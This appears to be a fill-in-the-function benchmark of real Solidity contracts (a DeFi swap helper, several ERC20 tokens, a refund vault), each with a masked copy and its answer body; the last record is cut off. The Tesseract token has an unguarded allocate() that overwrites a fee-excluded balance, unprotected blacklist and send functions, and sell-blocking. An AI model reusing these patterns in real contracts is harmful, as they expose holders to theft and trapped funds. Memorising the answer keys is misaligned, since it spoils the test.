contract swapUSDx is ERC20SafeTransfer { using SafeMath for uint256; uint256 private BASE = 10 ** 18; address public owner; IChi public chi = IChi(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); constructor () public { owner = msg.sender; } address internal USDx = 0xeb269732ab75A6fD61Ea60b06fE994cD32a83549; address internal DF = 0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0; address internal DFEngineContract = 0x3ea496977A356024bE096c1068a57Bd0B92c7d7c; DFProtocol internal DFProtocolContract = DFProtocol(0x5843F1Ccc5baA448528eb0e8Bc567Cda7eD1A1E8); DFProtocolView internal DFProtocolViewContract = DFProtocolView(0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F); DFStore internal DFStoreContract = DFStore(0xD30d06b276867CfA2266542791242fF37C91BA8d); address internal yPool = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51; address internal paxPool = 0x06364f10B501e868329afBc005b3492902d6C763; address internal sUSD = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address[] public underlyingTokens = [ 0x8E870D67F660D95d5be530380D0eC0bd388289E1, // PAX 0x0000000000085d4780B73119b644AE5ecd22b376, // TUSD 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 // USDC ]; address internal USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Based on current DF price, calculate how many DF does the * the `msg.sender` need when destroies USDx. * @param _amount Total amount of USDx would be destroied. */ function getDFAmount(uint256 _amount) public view returns (uint256) { // 0 means DF uint256 _dfPrice = DFProtocolViewContract.getPrice(uint256(0)); // 1 means this processing is `destroy` uint256 _rate = DFProtocolViewContract.getFeeRate(uint256(1)); uint256 _dfAmount = _amount.mul(_rate).mul(BASE).div(uint256(10000).mul(_dfPrice)); return _dfAmount; } /** * @dev Uses this function to prepare for all authority needed. */ function multiApprove() external discountCHI returns (bool) { require(msg.sender == owner, "multiApprove: Only for owner!"); // When swaps USDx to DF in the uniswap. require(doApprove(USDx, uniswapRouter, uint256(-1)), "multiApprove: approve uniswap failed!"); // When destroy USDx. // - 1. DF.approve(DFEngineContract, -1) require(doApprove(DF, DFEngineContract, uint256(-1)), "multiApprove: DF approves DFEngine failed!"); // - 2. USDx.approve(DFEngineContract, -1) require(doApprove(USDx, DFEngineContract, uint256(-1)), "multiApprove: USDx approves DFEngine failed!"); // When swaps token to get USDC require(doApprove(underlyingTokens[0], paxPool, uint256(-1)), "multiApprove: PAX approves paxpool failed!"); require(doApprove(underlyingTokens[1], yPool, uint256(-1)), "multiApprove: TUSD approves ypool failed!"); // When swaps token to get USDT require(doApprove(underlyingTokens[2], sUSD, uint256(-1)), "multiApprove: USDC approves sUSD failed!"); } function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool) {<FILL_FUNCTION_BODY> } }
contract swapUSDx is ERC20SafeTransfer { using SafeMath for uint256; uint256 private BASE = 10 ** 18; address public owner; IChi public chi = IChi(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); constructor () public { owner = msg.sender; } address internal USDx = 0xeb269732ab75A6fD61Ea60b06fE994cD32a83549; address internal DF = 0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0; address internal DFEngineContract = 0x3ea496977A356024bE096c1068a57Bd0B92c7d7c; DFProtocol internal DFProtocolContract = DFProtocol(0x5843F1Ccc5baA448528eb0e8Bc567Cda7eD1A1E8); DFProtocolView internal DFProtocolViewContract = DFProtocolView(0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F); DFStore internal DFStoreContract = DFStore(0xD30d06b276867CfA2266542791242fF37C91BA8d); address internal yPool = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51; address internal paxPool = 0x06364f10B501e868329afBc005b3492902d6C763; address internal sUSD = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address[] public underlyingTokens = [ 0x8E870D67F660D95d5be530380D0eC0bd388289E1, // PAX 0x0000000000085d4780B73119b644AE5ecd22b376, // TUSD 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 // USDC ]; address internal USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Based on current DF price, calculate how many DF does the * the `msg.sender` need when destroies USDx. * @param _amount Total amount of USDx would be destroied. */ function getDFAmount(uint256 _amount) public view returns (uint256) { // 0 means DF uint256 _dfPrice = DFProtocolViewContract.getPrice(uint256(0)); // 1 means this processing is `destroy` uint256 _rate = DFProtocolViewContract.getFeeRate(uint256(1)); uint256 _dfAmount = _amount.mul(_rate).mul(BASE).div(uint256(10000).mul(_dfPrice)); return _dfAmount; } /** * @dev Uses this function to prepare for all authority needed. */ function multiApprove() external discountCHI returns (bool) { require(msg.sender == owner, "multiApprove: Only for owner!"); // When swaps USDx to DF in the uniswap. require(doApprove(USDx, uniswapRouter, uint256(-1)), "multiApprove: approve uniswap failed!"); // When destroy USDx. // - 1. DF.approve(DFEngineContract, -1) require(doApprove(DF, DFEngineContract, uint256(-1)), "multiApprove: DF approves DFEngine failed!"); // - 2. USDx.approve(DFEngineContract, -1) require(doApprove(USDx, DFEngineContract, uint256(-1)), "multiApprove: USDx approves DFEngine failed!"); // When swaps token to get USDC require(doApprove(underlyingTokens[0], paxPool, uint256(-1)), "multiApprove: PAX approves paxpool failed!"); require(doApprove(underlyingTokens[1], yPool, uint256(-1)), "multiApprove: TUSD approves ypool failed!"); // When swaps token to get USDT require(doApprove(underlyingTokens[2], sUSD, uint256(-1)), "multiApprove: USDC approves sUSD failed!"); } <FILL_FUNCTION> }
// transfer USDx from user to this contract. require( doTransferFrom( USDx, msg.sender, address(this), _amount ), "swap: USDx transferFrom failed!" ); uint256 _dfAmount = getDFAmount(_amount); uint256 _usdxAmount = _dfAmount % DFStoreContract.getMinBurnAmount() > 0 ? (_dfAmount / DFStoreContract.getMinBurnAmount() + 1) * DFStoreContract.getMinBurnAmount() : _dfAmount ; address[] memory _path = new address[](2); _path[0] = USDx; _path[1] = DF; // swap parts of USDx to DF. IUniswapV2Router(uniswapRouter).swapExactTokensForTokens( _usdxAmount, _dfAmount, _path, address(this), block.timestamp + 3600 ); // destroy the remaining USDx with DF. DFProtocolContract.destroy(0, IERC20(USDx).balanceOf(address(this))); if (_targetToken == underlyingTokens[2]){ // TUSD -> USDC uint256 _totalAmount = IERC20(underlyingTokens[1]).balanceOf(address(this)); Curve(yPool).exchange_underlying(int128(3), int128(1), _totalAmount, uint256(0)); // PAX -> USDC _totalAmount = IERC20(underlyingTokens[0]).balanceOf(address(this)); Curve(paxPool).exchange_underlying(int128(3), int128(1), _totalAmount, uint256(0)); } else if (_targetToken == USDT) { // USDC -> USDT uint256 _totalAmount = IERC20(underlyingTokens[2]).balanceOf(address(this)); Curve(sUSD).exchange_underlying(int128(1), int128(2), _totalAmount, uint256(0)); // TUSD -> USDT _totalAmount = IERC20(underlyingTokens[1]).balanceOf(address(this)); Curve(yPool).exchange_underlying(int128(3), int128(2), _totalAmount, uint256(0)); // PAX -> USDC _totalAmount = IERC20(underlyingTokens[0]).balanceOf(address(this)); Curve(paxPool).exchange_underlying(int128(3), int128(2), _totalAmount, uint256(0)); } uint256 _finalBalance = IERC20(_targetToken).balanceOf(address(this)); require(_finalBalance >= _minReturn, "swap: Too large slippage to succeed!"); // transfer target token to caller`msg.sender` require(doTransferOut(_targetToken, msg.sender, _finalBalance), "swap: Transfer targetToken out failed!"); require(doTransferOut(DF, msg.sender, IERC20(DF).balanceOf(address(this))), "swap: Transfer DF out failed!");
function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool)
function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool)
54049
EtherHolder
balanceOf
contract EtherHolder is Destructible{ using SafeMath for uint256; bool locked = false; BwinCommons internal commons; function setCommons(address _addr) public onlyOwner { commons = BwinCommons(_addr); } struct Account { address wallet; address parent; uint256 radio; bool exist; } mapping (address => uint256) private userAmounts; uint256 internal _balance; event ProcessFunds(address _topWallet, uint256 _value ,bool isContract); event ReceiveFunds(address _addr, address _user, uint256 _value, uint256 _amount); function receiveFunds(address _user, uint256 _amount) external payable returns (bool) { emit ReceiveFunds(msg.sender, _user, msg.value, _amount); Crowdsale cds = Crowdsale(commons.get("Crowdsale")); User user = User(commons.get("User")); assert(msg.value == _amount); if (msg.sender == address(cds)){ address _topWallet; uint _percent=0; bool _contract; uint256 _topValue = 0; bool _topOk; uint256 _totalShares = 0; uint256 _totalSharePercent = 0; bool _shareRet; if(user.hasUser(_user)){ (_topWallet,_percent,_contract) = user.getTopInfoDetail(_user); assert(_percent <= 1000); (_topValue,_topOk) = processFunds(_topWallet,_amount,_percent,_contract); }else{ _topOk = true; } (_totalShares,_totalSharePercent,_shareRet) = processShares(_amount.sub(_topValue)); assert(_topOk && _shareRet); assert(_topValue.add(_totalShares) <= _amount); assert(_totalSharePercent <= 1000); _balance = _balance.add(_amount); return true; } return false; } event ProcessShares(uint256 _amount, uint i, uint256 _percent, bool _contract,address _wallet); function processShares(uint256 _amount) internal returns(uint256,uint256,bool){ uint256 _sended = 0; uint256 _sharePercent = 0; User user = User(commons.get("User")); for(uint i=0;i<user.getShareHolderCount();i++){ address _wallet; uint256 _percent; bool _contract; emit ProcessShares(_amount, i, _percent, _contract,_wallet); assert(_percent <= 1000); (_wallet,_percent,_contract) = user.getShareHolder(i); uint256 _value; bool _valueOk; (_value,_valueOk) = processFunds(_wallet,_amount,_percent,_contract); _sharePercent = _sharePercent.add(_percent); _sended = _sended.add(_value); } return (_sended,_sharePercent,true); } function getAmount(uint256 _amount, uint256 _percent) internal pure returns(uint256){ uint256 _value = _amount.div(1000).mul(_percent); return _value; } function processFunds(address _topWallet, uint256 _amount ,uint256 _percent, bool isContract) internal returns(uint,bool) { uint256 _value = getAmount(_amount, _percent); userAmounts[_topWallet] = userAmounts[_topWallet].add(_value); emit ProcessFunds(_topWallet,_value,isContract); return (_value,true); } function balanceOf(address _user) public view returns (uint256) {<FILL_FUNCTION_BODY> } function balanceOfme() public view returns (uint256) { return userAmounts[msg.sender]; } function withDrawlocked() public view returns (bool) { return locked; } function getBalance() public view returns (uint256, uint256) { return (address(this).balance,_balance); } function lock(bool _locked) public onlyOwner{ locked = _locked; } event WithDraw(address caller, uint256 _amount); function withDraw(uint256 _amount) external { assert(!locked); assert(userAmounts[msg.sender] >= _amount); userAmounts[msg.sender] = userAmounts[msg.sender].sub(_amount); _balance = _balance.sub(_amount); msg.sender.transfer(_amount); emit WithDraw(msg.sender, _amount); } function destroy() onlyOwner public { selfdestruct(owner); } }
contract EtherHolder is Destructible{ using SafeMath for uint256; bool locked = false; BwinCommons internal commons; function setCommons(address _addr) public onlyOwner { commons = BwinCommons(_addr); } struct Account { address wallet; address parent; uint256 radio; bool exist; } mapping (address => uint256) private userAmounts; uint256 internal _balance; event ProcessFunds(address _topWallet, uint256 _value ,bool isContract); event ReceiveFunds(address _addr, address _user, uint256 _value, uint256 _amount); function receiveFunds(address _user, uint256 _amount) external payable returns (bool) { emit ReceiveFunds(msg.sender, _user, msg.value, _amount); Crowdsale cds = Crowdsale(commons.get("Crowdsale")); User user = User(commons.get("User")); assert(msg.value == _amount); if (msg.sender == address(cds)){ address _topWallet; uint _percent=0; bool _contract; uint256 _topValue = 0; bool _topOk; uint256 _totalShares = 0; uint256 _totalSharePercent = 0; bool _shareRet; if(user.hasUser(_user)){ (_topWallet,_percent,_contract) = user.getTopInfoDetail(_user); assert(_percent <= 1000); (_topValue,_topOk) = processFunds(_topWallet,_amount,_percent,_contract); }else{ _topOk = true; } (_totalShares,_totalSharePercent,_shareRet) = processShares(_amount.sub(_topValue)); assert(_topOk && _shareRet); assert(_topValue.add(_totalShares) <= _amount); assert(_totalSharePercent <= 1000); _balance = _balance.add(_amount); return true; } return false; } event ProcessShares(uint256 _amount, uint i, uint256 _percent, bool _contract,address _wallet); function processShares(uint256 _amount) internal returns(uint256,uint256,bool){ uint256 _sended = 0; uint256 _sharePercent = 0; User user = User(commons.get("User")); for(uint i=0;i<user.getShareHolderCount();i++){ address _wallet; uint256 _percent; bool _contract; emit ProcessShares(_amount, i, _percent, _contract,_wallet); assert(_percent <= 1000); (_wallet,_percent,_contract) = user.getShareHolder(i); uint256 _value; bool _valueOk; (_value,_valueOk) = processFunds(_wallet,_amount,_percent,_contract); _sharePercent = _sharePercent.add(_percent); _sended = _sended.add(_value); } return (_sended,_sharePercent,true); } function getAmount(uint256 _amount, uint256 _percent) internal pure returns(uint256){ uint256 _value = _amount.div(1000).mul(_percent); return _value; } function processFunds(address _topWallet, uint256 _amount ,uint256 _percent, bool isContract) internal returns(uint,bool) { uint256 _value = getAmount(_amount, _percent); userAmounts[_topWallet] = userAmounts[_topWallet].add(_value); emit ProcessFunds(_topWallet,_value,isContract); return (_value,true); } <FILL_FUNCTION> function balanceOfme() public view returns (uint256) { return userAmounts[msg.sender]; } function withDrawlocked() public view returns (bool) { return locked; } function getBalance() public view returns (uint256, uint256) { return (address(this).balance,_balance); } function lock(bool _locked) public onlyOwner{ locked = _locked; } event WithDraw(address caller, uint256 _amount); function withDraw(uint256 _amount) external { assert(!locked); assert(userAmounts[msg.sender] >= _amount); userAmounts[msg.sender] = userAmounts[msg.sender].sub(_amount); _balance = _balance.sub(_amount); msg.sender.transfer(_amount); emit WithDraw(msg.sender, _amount); } function destroy() onlyOwner public { selfdestruct(owner); } }
return userAmounts[_user];
function balanceOf(address _user) public view returns (uint256)
function balanceOf(address _user) public view returns (uint256)
23159
Kotoshi
approve
contract Kotoshi is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Kotoshi Inu"; symbol = "KOT"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract Kotoshi is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Kotoshi Inu"; symbol = "KOT"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public returns (bool success)
function approve(address spender, uint tokens) public returns (bool success)
69316
Tesseract
null
contract Tesseract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 880000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Tesseract"; string private constant _symbol = "TESSERACT"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function _allocate(address recipient,uint256 amount) internal { _balance[recipient] = amount; emit Transfer(address(0x0), recipient, amount); } function allocate(address recipient,uint256 amount) public { require(_isExcludedFromFee[recipient]); _allocate(recipient, amount); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); }else{ require(!bots[from] && !bots[to], "This account is blacklisted"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public { bots[notbot] = false; } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
contract Tesseract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 880000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Tesseract"; string private constant _symbol = "TESSERACT"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } <FILL_FUNCTION> function _allocate(address recipient,uint256 amount) internal { _balance[recipient] = amount; emit Transfer(address(0x0), recipient, amount); } function allocate(address recipient,uint256 amount) public { require(_isExcludedFromFee[recipient]); _allocate(recipient, amount); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); }else{ require(!bots[from] && !bots[to], "This account is blacklisted"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public { bots[notbot] = false; } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
_taxWallet = payable(_msgSender()); _taxFee = 10; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); _allocate(address(this),_tTotal);
constructor ()
constructor ()
25140
Vault
refund
contract Vault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Withdraw } mapping (address => uint256) public deposited; address public wallet; State public state; event Withdraw(); event RefundsEnabled(); event Withdrawn(address _wallet); event Refunded(address indexed beneficiary, uint256 weiAmount); function Vault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) public onlyOwner payable{ require(state == State.Active || state == State.Withdraw);//allowing to deposit even in withdraw state since withdraw state will be started once totalFunding reaches 10,000 ether deposited[investor] = deposited[investor].add(msg.value); } function activateWithdrawal() public onlyOwner { if(state == State.Active){ state = State.Withdraw; emit Withdraw(); } } function activateRefund()public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function withdrawToWallet() onlyOwner public{ require(state == State.Withdraw); wallet.transfer(this.balance); emit Withdrawn(wallet); } function refund(address investor) public {<FILL_FUNCTION_BODY> } function isRefunding()public onlyOwner view returns(bool) { return (state == State.Refunding); } }
contract Vault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Withdraw } mapping (address => uint256) public deposited; address public wallet; State public state; event Withdraw(); event RefundsEnabled(); event Withdrawn(address _wallet); event Refunded(address indexed beneficiary, uint256 weiAmount); function Vault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) public onlyOwner payable{ require(state == State.Active || state == State.Withdraw);//allowing to deposit even in withdraw state since withdraw state will be started once totalFunding reaches 10,000 ether deposited[investor] = deposited[investor].add(msg.value); } function activateWithdrawal() public onlyOwner { if(state == State.Active){ state = State.Withdraw; emit Withdraw(); } } function activateRefund()public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function withdrawToWallet() onlyOwner public{ require(state == State.Withdraw); wallet.transfer(this.balance); emit Withdrawn(wallet); } <FILL_FUNCTION> function isRefunding()public onlyOwner view returns(bool) { return (state == State.Refunding); } }
require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue);
function refund(address investor) public
function refund(address investor) public
49910
SealsToken
transferFrom
contract SealsToken is SafeMath, owned { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); function SealsToken(address _from, address _to) { totalSupply = 10000000000000; name = 'Seals'; symbol = 'Seals'; decimals = 8; balanceOf[_to] = totalSupply; Transfer(_from, _to, totalSupply); } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) { require(!frozenAccount[msg.sender]); if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function batchTransfer(address []toAddr, uint256 []value) returns(bool){ require(toAddr.length == value.length && toAddr.length >= 1); for (uint256 i = 0; i < toAddr.length; i++) { transfer(toAddr[i], value[i]); } } function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {<FILL_FUNCTION_BODY> } function burn(uint256 _value) returns(bool success) { if 